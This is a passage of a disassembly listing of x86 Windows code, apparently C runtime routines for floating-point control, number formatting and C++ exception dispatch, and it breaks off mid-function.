; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF48
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF48
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF54
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_42709C	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4270BC	; GetProcAddress
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBC4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9B8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBC8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBC8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; .packed:off_43CF70o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9D0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9CC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBC8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9D0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9D0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9D4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9CC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBC8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9D0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9CC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9D4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9CC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9D4, ecx
		setl	cl
		mov	byte_4DB9D8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9D4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9D0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9D0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9D0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9D0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: .packed:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9DC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB9E0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB9E4, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
